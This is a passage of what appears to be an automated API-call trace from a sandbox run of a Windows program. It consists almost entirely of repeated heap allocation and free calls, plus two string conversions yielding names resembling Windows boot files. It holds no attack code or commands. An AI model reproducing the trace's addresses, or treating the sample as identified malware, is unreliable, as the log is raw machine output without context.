dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.758] GetProcessHeap () returned 0x630000 [0066.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664e20, cbMultiByte=7, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="bootmgrt.bin\\\x19c") returned 7 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.759] GetProcessHeap () returned 0x630000 [0066.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692498 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.760] GetProcessHeap () returned 0x630000 [0066.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.760] GetProcessHeap () returned 0x630000 [0066.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692458 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.761] GetProcessHeap () returned 0x630000 [0066.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692458 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.762] GetProcessHeap () returned 0x630000 [0066.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.762] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664f40, cbMultiByte=7, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="bootnxtt.bin\\\x19c") returned 7 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a2258 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692838 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a2258, Size=0xca) returned 0x69d588 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692458 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6927f8 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69d588, Size=0xbc) returned 0x685f30 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.763] GetProcessHeap () returned 0x630000 [0066.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.763] GetProcessHeap () returned 0x630000 [0066.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.764] GetProcessHeap () returned 0x630000 [0066.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692658 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.765] GetProcessHeap () returned 0x630000 [0066.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.766] GetProcessHeap () returned 